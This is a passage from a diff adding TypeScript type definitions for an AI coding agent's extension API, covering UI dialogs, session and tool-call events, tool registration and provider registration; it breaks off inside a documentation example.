onPrompt: (prompt: OAuthPrompt) => Promise; + onProgress?: (message: string) => void; + onManualCodeInput?: () => Promise; + /** Show an interactive selector and return the selected option id, or undefined on cancel. */ + onSelect?: (prompt: OAuthSelectPrompt) => Promise; + signal?: AbortSignal; +} + +// ============================================================================ +// UI Context +// ============================================================================ + +/** Options for extension UI dialogs. */ +export interface ExtensionUIDialogOptions { + /** AbortSignal to programmatically dismiss the dialog. */ + signal?: AbortSignal; + /** Timeout in milliseconds. Dialog auto-dismisses with live countdown display. */ + timeout?: number; +} + +/** Placement for extension widgets. */ +export type WidgetPlacement = "aboveEditor" | "belowEditor"; + +/** Options for extension widgets. */ +export interface ExtensionWidgetOptions { + /** Where the widget is rendered. Defaults to "aboveEditor". */ + placement?: WidgetPlacement; +} + +/** Raw terminal input listener for extensions. */ +export type TerminalInputHandler = ( + data: string, +) => { consume?: boolean; data?: string } | undefined; + +/** Working indicator configuration for the interactive streaming loader. */ +export interface WorkingIndicatorOptions { + /** Animation frames. Use an empty array to hide the indicator entirely. Custom frames are rendered verbatim. */ + frames?: string[]; + /** Frame interval in milliseconds for animated indicators. */ + intervalMs?: number; +} + +/** Wrap the current autocomplete provider with additional behavior. */ +export type AutocompleteProviderFactory = (current: AutocompleteProvider) => AutocompleteProvider; +export type EditorFactory = ( + tui: TUI, + theme: EditorTheme, + keybindings: KeybindingsManager, +) => EditorComponent; + +/** + * UI context for extensions to request interactive UI. + * Each mode (interactive, RPC, print) provides its own implementation. + */ +export interface ExtensionUIContext { + /** Show a selector and return the user's choice. */ + select( + title: string, + options: string[], + opts?: ExtensionUIDialogOptions, + ): Promise; + + /** Show a confirmation dialog. */ + confirm(title: string, message: string, opts?: ExtensionUIDialogOptions): Promise; + + /** Show a text input dialog. */ + input( + title: string, + placeholder?: string, + opts?: ExtensionUIDialogOptions, + ): Promise; + + /** Show a notification to the user. */ + notify(message: string, type?: "info" | "warning" | "error"): void; + + /** Listen to raw terminal input (interactive mode only). Returns an unsubscribe function. */ + onTerminalInput(handler: TerminalInputHandler): () => void; + + /** Set status text in the footer/status bar. Pass undefined to clear. */ + setStatus(key: string, text: string | undefined): void; + + /** Set the working/loading message shown during streaming. Call with no argument to restore default. */ + setWorkingMessage(message?: string): void; + + /** Show or hide the built-in interactive working loader row during streaming. */ + setWorkingVisible(visible: boolean): void; + + /** + * Configure the interactive working indicator shown during streaming. + * + * - Omit the argument to restore the default animated spinner. + * - Use `frames: ["●"]` for a static indicator. + * - Use `frames: []` to hide the indicator entirely. + * - Custom frames are rendered as provided, so extensions must add their own colors. + */ + setWorkingIndicator(options?: WorkingIndicatorOptions): void; + + /** Set the label shown for hidden thinking blocks. Call with no argument to restore default. */ + setHiddenThinkingLabel(label?: string): void; + + /** Set a widget to display above or below the editor. Accepts string array or component factory. */ + setWidget(key: string, content: string[] | undefined, options?: ExtensionWidgetOptions): void; + setWidget( + key: string, + content: ((tui: TUI, theme: Theme) => Component & { dispose?(): void }) | undefined, + options?: ExtensionWidgetOptions, + ): void; + + /** Set a custom footer component, or undefined to restore the built-in footer. + * + * The factory receives a FooterDataProvider for data not otherwise accessible: + * git branch and extension statuses from setStatus(). Token stats, model info, + * etc. are available via ctx.sessionManager and ctx.model. + */ + setFooter( + factory: + | (( + tui: TUI, + theme: Theme, + footerData: ReadonlyFooterDataProvider, + ) => Component & { dispose?(): void }) + | undefined, + ): void; + + /** Set a custom header component (shown at startup, above chat), or undefined to restore the built-in header. */ + setHeader( + factory: ((tui: TUI, theme: Theme) => Component & { dispose?(): void }) | undefined, + ): void; + + /** Set the terminal window/tab title. */ + setTitle(title: string): void; + + /** Show a custom component with keyboard focus. */ + custom( + factory: ( + tui: TUI, + theme: Theme, + keybindings: KeybindingsManager, + done: (result: T) => void, + ) => (Component & { dispose?(): void }) | Promise, + options?: { + overlay?: boolean; + /** Overlay positioning/sizing options. Can be static or a function for dynamic updates. */ + overlayOptions?: OverlayOptions | (() => OverlayOptions); + /** Called with the overlay handle after the overlay is shown. Use to control visibility. */ + onHandle?: (handle: OverlayHandle) => void; + }, + ): Promise; + + /** Paste text into the editor, triggering paste handling (collapse for large content). */ + pasteToEditor(text: string): void; + + /** Set the text in the core input editor. */ + setEditorText(text: string): void; + + /** Get the current text from the core input editor. */ + getEditorText(): string; + + /** Show a multi-line editor for text editing. */ + editor(title: string, prefill?: string): Promise; + + /** Stack additional autocomplete behavior on top of the built-in provider. */ + addAutocompleteProvider(factory: AutocompleteProviderFactory): void; + + /** + * Set a custom editor component via factory function. + * Pass undefined to restore the default editor. + * + * The factory receives: + * - `theme`: EditorTheme for styling borders and autocomplete + * - `keybindings`: KeybindingsManager for app-level keybindings + * + * For full app keybinding support (escape, ctrl+d, model switching, etc.), + * extend `CustomEditor` from `openclaw/plugin-sdk/agent-sessions` and call + * `super.handleInput(data)` for keys you don't handle. + * + * @example + * ```ts + * import { CustomEditor } from "openclaw/plugin-sdk/agent-sessions"; + * + * class VimEditor extends CustomEditor { + * private mode: "normal" | "insert" = "insert"; + * + * handleInput(data: string): void { + * if (this.mode === "normal") { + * // Handle vim normal mode keys... + * if (data === "i") { this.mode = "insert"; return; } + * } + * super.handleInput(data); // App keybindings + text editing + * } + * } + * + * ctx.ui.setEditorComponent((tui, theme, keybindings) => + * new VimEditor(tui, theme, keybindings) + * ); + * ``` + */ + setEditorComponent(factory: EditorFactory | undefined): void; + + /** Get the currently configured custom editor factory, or undefined when using the default editor. */ + getEditorComponent(): EditorFactory | undefined; + + /** Get the current theme for styling. */ + readonly theme: Theme; + + /** Get all available themes with their names and file paths. */ + getAllThemes(): { name: string; path: string | undefined }[]; + + /** Load a theme by name without switching to it. Returns undefined if not found. */ + getTheme(name: string): Theme | undefined; + + /** Set the current theme by name or Theme object. */ + setTheme(theme: string | Theme): { success: boolean; error?: string }; + + /** Get current tool output expansion state. */ + getToolsExpanded(): boolean; + + /** Set tool output expansion state. */ + setToolsExpanded(expanded: boolean): void; +} + +// ============================================================================ +// Extension Context +// ============================================================================ + +export interface ContextUsage { + /** Estimated context tokens, or null if any (e.g. right after compaction, before next LLM response). */ + tokens: number | null; + contextWindow: number; + /** Context usage as percentage of context window, or null if tokens is unknown. */ + percent: number | null; +} + +export interface CompactOptions { + customInstructions?: string; + onComplete?: (result: CompactionResult) => void; + onError?: (error: Error) => void; +} + +/** + * Context passed to extension event handlers. + */ +export interface ExtensionContext { + /** UI methods for user interaction */ + ui: ExtensionUIContext; + /** Whether UI is available (false in print/RPC mode) */ + hasUI: boolean; + /** Current working directory */ + cwd: string; + /** Session manager (read-only) */ + sessionManager: ReadonlySessionManager; + /** Model registry for API key resolution */ + modelRegistry: ModelRegistry; + /** Current model (may be undefined) */ + model: Model | undefined; + /** Whether the agent is idle (not streaming) */ + isIdle(): boolean; + /** The current abort signal, or undefined when the agent is not streaming. */ + signal: AbortSignal | undefined; + /** Abort the current agent operation */ + abort(): void; + /** Whether there are queued messages waiting */ + hasPendingMessages(): boolean; + /** Gracefully shut down OpenClaw and exit. Available in all contexts. */ + shutdown(): void; + /** Get current context usage for the active model. */ + getContextUsage(): ContextUsage | undefined; + /** Trigger compaction without awaiting completion. */ + compact(options?: CompactOptions): void; + /** Get the current effective system prompt. */ + getSystemPrompt(): string; +} + +/** + * Extended context for command handlers. + * Includes session control methods only safe in user-initiated commands. + */ +export interface ExtensionCommandContext extends ExtensionContext { + /** Wait for the agent to finish streaming */ + waitForIdle(): Promise; + + /** Start a new session, optionally with initialization. */ + newSession(options?: { + parentSession?: string; + setup?: (sessionManager: SessionManager) => Promise; + withSession?: (ctx: ReplacedSessionContext) => Promise; + }): Promise<{ cancelled: boolean }>; + + /** Fork from a specific entry, creating a new session file. */ + fork( + entryId: string, + options?: { + position?: "before" | "at"; + withSession?: (ctx: ReplacedSessionContext) => Promise; + }, + ): Promise<{ cancelled: boolean }>; + + /** Navigate to a different point in the session tree. */ + navigateTree( + targetId: string, + options?: { + summarize?: boolean; + customInstructions?: string; + replaceInstructions?: boolean; + label?: string; + }, + ): Promise<{ cancelled: boolean }>; + + /** Switch to a different session file. */ + switchSession( + sessionPath: string, + options?: { withSession?: (ctx: ReplacedSessionContext) => Promise }, + ): Promise<{ cancelled: boolean }>; + + /** Reload extensions, skills, prompts, and themes. */ + reload(): Promise; +} + +/** + * Fresh command-capable context bound to the replacement session after a session switch. + * + * This is passed to `withSession()` callbacks on `newSession()`, `fork()`, and `switchSession()`. + */ +export interface ReplacedSessionContext extends ExtensionCommandContext { + sendMessage( + message: Pick, "customType" | "content" | "display" | "details">, + options?: { triggerTurn?: boolean; deliverAs?: "steer" | "followUp" | "nextTurn" }, + ): Promise; + + sendUserMessage( + content: string | (TextContent | ImageContent)[], + options?: { deliverAs?: "steer" | "followUp" }, + ): Promise; +} + +// ============================================================================ +// Tool Types +// ============================================================================ + +/** Rendering options for tool results */ +export interface ToolRenderResultOptions { + /** Whether the result view is expanded */ + expanded: boolean; + /** Whether this is a partial/streaming result */ + isPartial: boolean; +} + +/** Context passed to tool renderers. */ +export interface ToolRenderContext { + /** Current tool call arguments. Shared across call/result renders for the same tool call. */ + args: TArgs; + /** Unique id for this tool execution. Stable across call/result renders for the same tool call. */ + toolCallId: string; + /** Invalidate just this tool execution component for redraw. */ + invalidate: () => void; + /** Previously returned component for this render slot, if any. */ + lastComponent: Component | undefined; + /** Shared renderer state for this tool row. Initialized by tool-execution.ts. */ + state: TState; + /** Working directory for this tool execution. */ + cwd: string; + /** Whether the tool execution has started. */ + executionStarted: boolean; + /** Whether the tool call arguments are complete. */ + argsComplete: boolean; + /** Whether the tool result is partial/streaming. */ + isPartial: boolean; + /** Whether the result view is expanded. */ + expanded: boolean; + /** Whether inline images are currently shown in the TUI. */ + showImages: boolean; + /** Whether the current result is an error. */ + isError: boolean; +} + +type BivariantCallback = { + bivarianceHack(...args: TArgs): TResult; +}["bivarianceHack"]; + +/** + * Tool definition for registerTool(). + */ +export interface ToolDefinition< + TParams extends TSchema = TSchema, + TDetails = unknown, + TState = unknown, +> { + /** Tool name (used in LLM tool calls) */ + name: string; + /** Human-readable label for UI */ + label: string; + /** Description for LLM */ + description: string; + /** Optional one-line snippet for the Available tools section in the default system prompt. Custom tools are omitted from that section when this is not provided. */ + promptSnippet?: string; + /** Optional guideline bullets appended to the default system prompt Guidelines section when this tool is active. */ + promptGuidelines?: string[]; + /** Parameter schema (TypeBox) */ + parameters: TParams; + /** Controls whether ToolExecutionComponent renders the standard colored shell or the tool renders its own framing. */ + renderShell?: "default" | "self"; + + /** Optional compatibility shim to prepare raw tool call arguments before schema validation. Must return an object conforming to TParams. */ + prepareArguments?: (args: unknown) => Static; + + /** + * Per-tool execution mode override. + * - "sequential": this tool must execute one at a time with other tool calls. + * - "parallel": this tool can execute concurrently with other tool calls. + * + * If omitted, the default execution mode applies. + */ + executionMode?: ToolExecutionMode; + + /** Execute the tool. */ + execute( + toolCallId: string, + params: Static, + signal: AbortSignal | undefined, + onUpdate: AgentToolUpdateCallback | undefined, + ctx: ExtensionContext, + ): Promise>; + + /** Custom rendering for tool call display */ + renderCall?: BivariantCallback< + [args: Static, theme: Theme, context: ToolRenderContext>], + Component + >; + + /** Custom rendering for tool result display */ + renderResult?: BivariantCallback< + [ + result: AgentToolResult, + options: ToolRenderResultOptions, + theme: Theme, + context: ToolRenderContext>, + ], + Component + >; +} + +type AnyToolDefinition = ToolDefinition; + +/** + * Preserve parameter inference for standalone tool definitions. + * + * Use this when assigning a tool to a variable or passing it through arrays such + * as `customTools`, where contextual typing would otherwise widen params to + * `unknown`. + */ +export function defineTool( + tool: ToolDefinition, +): ToolDefinition & AnyToolDefinition { + return tool as ToolDefinition & AnyToolDefinition; +} + +// ============================================================================ +// Resource Events +// ============================================================================ + +/** Fired after session_start to allow extensions to provide additional resource paths. */ +export interface ResourcesDiscoverEvent { + type: "resources_discover"; + cwd: string; + reason: "startup" | "reload"; +} + +/** Result from resources_discover event handler */ +export interface ResourcesDiscoverResult { + skillPaths?: string[]; + promptPaths?: string[]; + themePaths?: string[]; +} + +// ============================================================================ +// Session Events +// ============================================================================ + +/** Fired when a session is started, loaded, or reloaded */ +export interface SessionStartEvent { + type: "session_start"; + /** Why this session start happened. */ + reason: "startup" | "reload" | "new" | "resume" | "fork"; + /** Previously active session file. Present for "new", "resume", and "fork". */ + previousSessionFile?: string; +} + +/** Fired before switching to another session (can be cancelled) */ +export interface SessionBeforeSwitchEvent { + type: "session_before_switch"; + reason: "new" | "resume"; + targetSessionFile?: string; +} + +/** Fired before forking a session (can be cancelled) */ +export interface SessionBeforeForkEvent { + type: "session_before_fork"; + entryId: string; + position: "before" | "at"; +} + +/** Fired before context compaction (can be cancelled or customized) */ +export interface SessionBeforeCompactEvent { + type: "session_before_compact"; + preparation: CompactionPreparation; + branchEntries: SessionEntry[]; + customInstructions?: string; + signal: AbortSignal; +} + +/** Fired after context compaction */ +export interface SessionCompactEvent { + type: "session_compact"; + compactionEntry: CompactionEntry; + fromExtension: boolean; +} + +/** Fired before an extension runtime is torn down due to quit, reload, or session replacement. */ +export interface SessionShutdownEvent { + type: "session_shutdown"; + reason: "quit" | "reload" | "new" | "resume" | "fork"; + /** Destination session file when shutting down due to session replacement. */ + targetSessionFile?: string; +} + +/** Preparation data for tree navigation */ +export interface TreePreparation { + targetId: string; + oldLeafId: string | null; + commonAncestorId: string | null; + entriesToSummarize: SessionEntry[]; + userWantsSummary: boolean; + /** Custom instructions for summarization */ + customInstructions?: string; + /** If true, customInstructions replaces the default prompt instead of being appended */ + replaceInstructions?: boolean; + /** Label to attach to the branch summary entry */ + label?: string; +} + +/** Fired before navigating in the session tree (can be cancelled) */ +export interface SessionBeforeTreeEvent { + type: "session_before_tree"; + preparation: TreePreparation; + signal: AbortSignal; +} + +/** Fired after navigating in the session tree */ +export interface SessionTreeEvent { + type: "session_tree"; + newLeafId: string | null; + oldLeafId: string | null; + summaryEntry?: BranchSummaryEntry; + fromExtension?: boolean; +} + +export type SessionEvent = + | SessionStartEvent + | SessionBeforeSwitchEvent + | SessionBeforeForkEvent + | SessionBeforeCompactEvent + | SessionCompactEvent + | SessionShutdownEvent + | SessionBeforeTreeEvent + | SessionTreeEvent; + +// ============================================================================ +// Agent Events +// ============================================================================ + +/** Fired before each LLM call. Can modify messages. */ +export interface ContextEvent { + type: "context"; + messages: AgentMessage[]; +} + +/** Fired before a provider request is sent. Can replace the payload. */ +export interface BeforeProviderRequestEvent { + type: "before_provider_request"; + payload: unknown; +} + +/** Fired after a provider response is received and before the response stream is consumed. */ +export interface AfterProviderResponseEvent { + type: "after_provider_response"; + status: number; + headers: Record; +} + +/** Fired after user submits prompt but before agent loop. */ +export interface BeforeAgentStartEvent { + type: "before_agent_start"; + /** The raw user prompt text (after expansion). */ + prompt: string; + /** Images attached to the user prompt, if any. */ + images?: ImageContent[]; + /** The fully assembled system prompt string. */ + systemPrompt: string; + /** Structured options used to build the system prompt. Extensions can inspect this without re-discovering resources. */ + systemPromptOptions: BuildSystemPromptOptions; +} + +/** Fired when an agent loop starts */ +export interface AgentStartEvent { + type: "agent_start"; +} + +/** Fired when an agent loop ends */ +export interface AgentEndEvent { + type: "agent_end"; + messages: AgentMessage[]; +} + +/** Fired at the start of each turn */ +export interface TurnStartEvent { + type: "turn_start"; + turnIndex: number; + timestamp: number; +} + +/** Fired at the end of each turn */ +export interface TurnEndEvent { + type: "turn_end"; + turnIndex: number; + message: AgentMessage; + toolResults: ToolResultMessage[]; +} + +/** Fired when a message starts (user, assistant, or toolResult) */ +export interface MessageStartEvent { + type: "message_start"; + message: AgentMessage; +} + +/** Fired during assistant message streaming with token-by-token updates */ +export interface MessageUpdateEvent { + type: "message_update"; + message: AgentMessage; + assistantMessageEvent: AssistantMessageEvent; +} + +/** Fired when a message ends */ +export interface MessageEndEvent { + type: "message_end"; + message: AgentMessage; +} + +/** Fired when a tool starts executing */ +export interface ToolExecutionStartEvent { + type: "tool_execution_start"; + toolCallId: string; + toolName: string; + args: unknown; +} + +/** Fired during tool execution with partial/streaming output */ +export interface ToolExecutionUpdateEvent { + type: "tool_execution_update"; + toolCallId: string; + toolName: string; + args: unknown; + partialResult: unknown; +} + +/** Fired when a tool finishes executing */ +export interface ToolExecutionEndEvent { + type: "tool_execution_end"; + toolCallId: string; + toolName: string; + result: unknown; + isError: boolean; +} + +// ============================================================================ +// Model Events +// ============================================================================ + +export type ModelSelectSource = "set" | "cycle" | "restore"; + +/** Fired when a new model is selected */ +export interface ModelSelectEvent { + type: "model_select"; + model: Model; + previousModel: Model | undefined; + source: ModelSelectSource; +} + +/** Fired when a new thinking level is selected */ +export interface ThinkingLevelSelectEvent { + type: "thinking_level_select"; + level: ThinkingLevel; + previousLevel: ThinkingLevel; +} + +// ============================================================================ +// User Bash Events +// ============================================================================ + +/** Fired when user executes a bash command via ! or !! prefix */ +export interface UserBashEvent { + type: "user_bash"; + /** The command to execute */ + command: string; + /** True if !! prefix was used (excluded from LLM context) */ + excludeFromContext: boolean; + /** Current working directory */ + cwd: string; +} + +// ============================================================================ +// Input Events +// ============================================================================ + +/** Source of user input */ +export type InputSource = "interactive" | "rpc" | "extension"; + +/** Fired when user input is received, before agent processing */ +export interface InputEvent { + type: "input"; + /** The input text */ + text: string; + /** Attached images, if any */ + images?: ImageContent[]; + /** Where the input came from */ + source: InputSource; +} + +/** Result from input event handler */ +export type InputEventResult = + | { action: "continue" } + | { action: "transform"; text: string; images?: ImageContent[] } + | { action: "handled" }; + +// ============================================================================ +// Tool Events +// ============================================================================ + +interface ToolCallEventBase { + type: "tool_call"; + toolCallId: string; +} + +export interface BashToolCallEvent extends ToolCallEventBase { + toolName: "bash"; + input: BashToolInput; +} + +export interface ReadToolCallEvent extends ToolCallEventBase { + toolName: "read"; + input: ReadToolInput; +} + +export interface EditToolCallEvent extends ToolCallEventBase { + toolName: "edit"; + input: EditToolInput; +} + +export interface WriteToolCallEvent extends ToolCallEventBase { + toolName: "write"; + input: WriteToolInput; +} + +export interface GrepToolCallEvent extends ToolCallEventBase { + toolName: "grep"; + input: GrepToolInput; +} + +export interface FindToolCallEvent extends ToolCallEventBase { + toolName: "find"; + input: FindToolInput; +} + +export interface LsToolCallEvent extends ToolCallEventBase { + toolName: "ls"; + input: LsToolInput; +} + +export interface CustomToolCallEvent extends ToolCallEventBase { + toolName: string; + input: Record; +} + +/** + * Fired before a tool executes. Can block. + * + * `event.input` is mutable. Mutate it in place to patch tool arguments before execution. + * Later `tool_call` handlers see earlier mutations. No re-validation is performed after mutation. + */ +export type ToolCallEvent = + | BashToolCallEvent + | ReadToolCallEvent + | EditToolCallEvent + | WriteToolCallEvent + | GrepToolCallEvent + | FindToolCallEvent + | LsToolCallEvent + | CustomToolCallEvent; + +interface ToolResultEventBase { + type: "tool_result"; + toolCallId: string; + input: Record; + content: (TextContent | ImageContent)[]; + isError: boolean; +} + +export interface BashToolResultEvent extends ToolResultEventBase { + toolName: "bash"; + details: BashToolDetails | undefined; +} + +export interface ReadToolResultEvent extends ToolResultEventBase { + toolName: "read"; + details: ReadToolDetails | undefined; +} + +export interface EditToolResultEvent extends ToolResultEventBase { + toolName: "edit"; + details: EditToolDetails | undefined; +} + +export interface WriteToolResultEvent extends ToolResultEventBase { + toolName: "write"; + details: undefined; +} + +export interface GrepToolResultEvent extends ToolResultEventBase { + toolName: "grep"; + details: GrepToolDetails | undefined; +} + +export interface FindToolResultEvent extends ToolResultEventBase { + toolName: "find"; + details: FindToolDetails | undefined; +} + +export interface LsToolResultEvent extends ToolResultEventBase { + toolName: "ls"; + details: LsToolDetails | undefined; +} + +export interface CustomToolResultEvent extends ToolResultEventBase { + toolName: string; + details: unknown; +} + +/** Fired after a tool executes. Can modify result. */ +export type ToolResultEvent = + | BashToolResultEvent + | ReadToolResultEvent + | EditToolResultEvent + | WriteToolResultEvent + | GrepToolResultEvent + | FindToolResultEvent + | LsToolResultEvent + | CustomToolResultEvent; + +// Type guards for ToolResultEvent +export function isBashToolResult(e: ToolResultEvent): e is BashToolResultEvent { + return e.toolName === "bash"; +} +export function isReadToolResult(e: ToolResultEvent): e is ReadToolResultEvent { + return e.toolName === "read"; +} +export function isEditToolResult(e: ToolResultEvent): e is EditToolResultEvent { + return e.toolName === "edit"; +} +export function isWriteToolResult(e: ToolResultEvent): e is WriteToolResultEvent { + return e.toolName === "write"; +} +export function isGrepToolResult(e: ToolResultEvent): e is GrepToolResultEvent { + return e.toolName === "grep"; +} +export function isFindToolResult(e: ToolResultEvent): e is FindToolResultEvent { + return e.toolName === "find"; +} +export function isLsToolResult(e: ToolResultEvent): e is LsToolResultEvent { + return e.toolName === "ls"; +} + +/** + * Type guard for narrowing ToolCallEvent by tool name. + * + * Built-in tools narrow automatically (no type params needed): + * ```ts + * if (isToolCallEventType("bash", event)) { + * event.input.command; // string + * } + * ``` + * + * Custom tools require explicit type parameters: + * ```ts + * if (isToolCallEventType<"my_tool", MyToolInput>("my_tool", event)) { + * event.input.action; // typed + * } + * ``` + * + * Note: Direct narrowing via `event.toolName === "bash"` doesn't work because + * CustomToolCallEvent.toolName is `string` which overlaps with all literals. + */ +export function isToolCallEventType( + toolName: "bash", + event: ToolCallEvent, +): event is BashToolCallEvent; +export function isToolCallEventType( + toolName: "read", + event: ToolCallEvent, +): event is ReadToolCallEvent; +export function isToolCallEventType( + toolName: "edit", + event: ToolCallEvent, +): event is EditToolCallEvent; +export function isToolCallEventType( + toolName: "write", + event: ToolCallEvent, +): event is WriteToolCallEvent; +export function isToolCallEventType( + toolName: "grep", + event: ToolCallEvent, +): event is GrepToolCallEvent; +export function isToolCallEventType( + toolName: "find", + event: ToolCallEvent, +): event is FindToolCallEvent; +export function isToolCallEventType(toolName: "ls", event: ToolCallEvent): event is LsToolCallEvent; +export function isToolCallEventType>( + toolName: TName, + event: ToolCallEvent, +): event is ToolCallEvent & { toolName: TName; input: TInput }; +export function isToolCallEventType(toolName: string, event: ToolCallEvent): boolean { + return event.toolName === toolName; +} + +/** Union of all event types */ +export type ExtensionEvent = + | ResourcesDiscoverEvent + | SessionEvent + | ContextEvent + | BeforeProviderRequestEvent + | AfterProviderResponseEvent + | BeforeAgentStartEvent + | AgentStartEvent + | AgentEndEvent + | TurnStartEvent + | TurnEndEvent + | MessageStartEvent + | MessageUpdateEvent + | MessageEndEvent + | ToolExecutionStartEvent + | ToolExecutionUpdateEvent + | ToolExecutionEndEvent + | ModelSelectEvent + | ThinkingLevelSelectEvent + | UserBashEvent + | InputEvent + | ToolCallEvent + | ToolResultEvent; + +// ============================================================================ +// Event Results +// ============================================================================ + +export interface ContextEventResult { + messages?: AgentMessage[]; +} + +export type BeforeProviderRequestEventResult = unknown; + +export interface ToolCallEventResult { + /** Block tool execution. To modify arguments, mutate `event.input` in place instead. */ + block?: boolean; + reason?: string; +} + +/** Result from user_bash event handler */ +export interface UserBashEventResult { + /** Custom operations to use for execution */ + operations?: BashOperations; + /** Full replacement: extension handled execution, use this result */ + result?: BashResult; +} + +export interface ToolResultEventResult { + content?: (TextContent | ImageContent)[]; + details?: unknown; + isError?: boolean; +} + +export interface MessageEndEventResult { + /** Replace the finalized message. The replacement must keep the original message role. */ + message?: AgentMessage; +} + +export interface BeforeAgentStartEventResult { + message?: Pick; + /** Replace the system prompt for this turn. If multiple extensions return this, they are chained. */ + systemPrompt?: string; +} + +export interface SessionBeforeSwitchResult { + cancel?: boolean; +} + +export interface SessionBeforeForkResult { + cancel?: boolean; + skipConversationRestore?: boolean; +} + +export interface SessionBeforeCompactResult { + cancel?: boolean; + compaction?: CompactionResult; +} + +export interface SessionBeforeTreeResult { + cancel?: boolean; + summary?: { + summary: string; + details?: unknown; + }; + /** Override custom instructions for summarization */ + customInstructions?: string; + /** Override whether customInstructions replaces the default prompt */ + replaceInstructions?: boolean; + /** Override label to attach to the branch summary entry */ + label?: string; +} + +// ============================================================================ +// Message Rendering +// ============================================================================ + +export interface MessageRenderOptions { + expanded: boolean; +} + +export type MessageRenderer = ( + message: CustomMessage, + options: MessageRenderOptions, + theme: Theme, +) => Component | undefined; + +// ============================================================================ +// Command Registration +// ============================================================================ + +export interface RegisteredCommand { + name: string; + sourceInfo: SourceInfo; + description?: string; + getArgumentCompletions?: ( + argumentPrefix: string, + ) => AutocompleteItem[] | null | Promise; + handler: (args: string, ctx: ExtensionCommandContext) => Promise; +} + +export interface ResolvedCommand extends RegisteredCommand { + invocationName: string; +} + +// ============================================================================ +// Extension API +// ============================================================================ + +/** Handler function type for events */ +// biome-ignore lint/suspicious/noConfusingVoidType: void allows bare return statements +export type ExtensionHandler = ( + event: E, + ctx: ExtensionContext, +) => Promise | R | void; + +/** + * ExtensionAPI passed to extension factory functions. + */ +export interface ExtensionAPI { + // ========================================================================= + // Event Subscription + // ========================================================================= + + on( + event: "resources_discover", + handler: ExtensionHandler, + ): void; + on(event: "session_start", handler: ExtensionHandler): void; + on( + event: "session_before_switch", + handler: ExtensionHandler, + ): void; + on( + event: "session_before_fork", + handler: ExtensionHandler, + ): void; + on( + event: "session_before_compact", + handler: ExtensionHandler, + ): void; + on(event: "session_compact", handler: ExtensionHandler): void; + on(event: "session_shutdown", handler: ExtensionHandler): void; + on( + event: "session_before_tree", + handler: ExtensionHandler, + ): void; + on(event: "session_tree", handler: ExtensionHandler): void; + on(event: "context", handler: ExtensionHandler): void; + on( + event: "before_provider_request", + handler: ExtensionHandler, + ): void; + on(event: "after_provider_response", handler: ExtensionHandler): void; + on( + event: "before_agent_start", + handler: ExtensionHandler, + ): void; + on(event: "agent_start", handler: ExtensionHandler): void; + on(event: "agent_end", handler: ExtensionHandler): void; + on(event: "turn_start", handler: ExtensionHandler): void; + on(event: "turn_end", handler: ExtensionHandler): void; + on(event: "message_start", handler: ExtensionHandler): void; + on(event: "message_update", handler: ExtensionHandler): void; + on(event: "message_end", handler: ExtensionHandler): void; + on(event: "tool_execution_start", handler: ExtensionHandler): void; + on(event: "tool_execution_update", handler: ExtensionHandler): void; + on(event: "tool_execution_end", handler: ExtensionHandler): void; + on(event: "model_select", handler: ExtensionHandler): void; + on(event: "thinking_level_select", handler: ExtensionHandler): void; + on(event: "tool_call", handler: ExtensionHandler): void; + on(event: "tool_result", handler: ExtensionHandler): void; + on(event: "user_bash", handler: ExtensionHandler): void; + on(event: "input", handler: ExtensionHandler): void; + + // ========================================================================= + // Tool Registration + // ========================================================================= + + /** Register a tool that the LLM can call. */ + registerTool( + tool: ToolDefinition, + ): void; + + // ========================================================================= + // Command, Shortcut, Flag Registration + // ========================================================================= + + /** Register a custom command. */ + registerCommand(name: string, options: Omit): void; + + /** Register a keyboard shortcut. */ + registerShortcut( + shortcut: KeyId, + options: { + description?: string; + handler: (ctx: ExtensionContext) => Promise | void; + }, + ): void; + + /** Register a CLI flag. */ + registerFlag( + name: string, + options: { + description?: string; + type: "boolean" | "string"; + default?: boolean | string; + }, + ): void; + + /** Get the value of a registered CLI flag. */ + getFlag(name: string): boolean | string | undefined; + + // ========================================================================= + // Message Rendering + // ========================================================================= + + /** Register a custom renderer for CustomMessageEntry. */ + registerMessageRenderer(customType: string, renderer: MessageRenderer): void; + + // ========================================================================= + // Actions + // ========================================================================= + + /** Send a custom message to the session. */ + sendMessage( + message: Pick, "customType" | "content" | "display" | "details">, + options?: { triggerTurn?: boolean; deliverAs?: "steer" | "followUp" | "nextTurn" }, + ): void; + + /** + * Send a user message to the agent. Always triggers a turn. + * When the agent is streaming, use deliverAs to specify how to queue the message. + */ + sendUserMessage( + content: string | (TextContent | ImageContent)[], + options?: { deliverAs?: "steer" | "followUp" }, + ): void; + + /** Append a custom entry to the session for state persistence (not sent to LLM). */ + appendEntry(customType: string, data?: unknown): void; + + // ========================================================================= + // Session Metadata + // ========================================================================= + + /** Set the session display name (shown in session selector). */ + setSessionName(name: string): void; + + /** Get the current session name, if set. */ + getSessionName(): string | undefined; + + /** Set or clear a label on an entry. Labels are user-defined markers for bookmarking/navigation. */ + setLabel(entryId: string, label: string | undefined): void; + + /** Execute a shell command. */ + exec(command: string, args: string[], options?: ExecOptions): Promise; + + /** Get the list of currently active tool names. */ + getActiveTools(): string[]; + + /** Get all configured tools with parameter schema and source metadata. */ + getAllTools(): ToolInfo[]; + + /** Set the active tools by name. */ + setActiveTools(toolNames: string[]): void; + + /** Get available slash commands in the current session. */ + getCommands(): SlashCommandInfo[]; + + // ========================================================================= + // Model and Thinking Level + // ========================================================================= + + /** Set the current model. Returns false if no API key available. */ + setModel(model: Model): Promise; + + /** Get current thinking level. */ + getThinkingLevel(): ThinkingLevel; + + /** Set thinking level (clamped to model capabilities). */ + setThinkingLevel(level: ThinkingLevel): void; + + // ========================================================================= + // Provider Registration + // ========================================================================= + + /** + * Register a model provider. + * + * If `models` is provided: replaces all existing models for this provider. + * If `oauth` is provided: registers OAuth provider for /login support. + * If `streamSimple` is provided: registers a custom API stream handler. + * + * During initial extension load this call is queued and applied once the + * runner has bound its context. After that it takes effect immediately, so + * it is safe to call from command handlers or event callbacks without + * requiring a `/reload`. + * + * @example + * // Register a new provider with custom models + * api.registerProvider("my-proxy", { + * baseUrl: "https://proxy.example.com", + * apiKey: "PROXY_API_KEY", + * api: "anthropic-messages", + * models: [ + * { + * id: "claude-sonnet-4-20250514", + * name: "Claude 4 Sonnet (proxy)", + * reasoning: false, + * input: ["text", "image"], + * cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, + * contextWindow: 200000, + * maxTokens: 16384 + * } + * ] + * }); + * + * @example + * // Override baseUrl for an existing provider + * api.registerProvider("anthropic", { + * baseUrl: "https://proxy.example.com" + * }); + * + * @example + * // Register provider with OAuth support + * api.registerProvider("corporate-ai", { + * baseUrl: "https://ai.corp.com", + 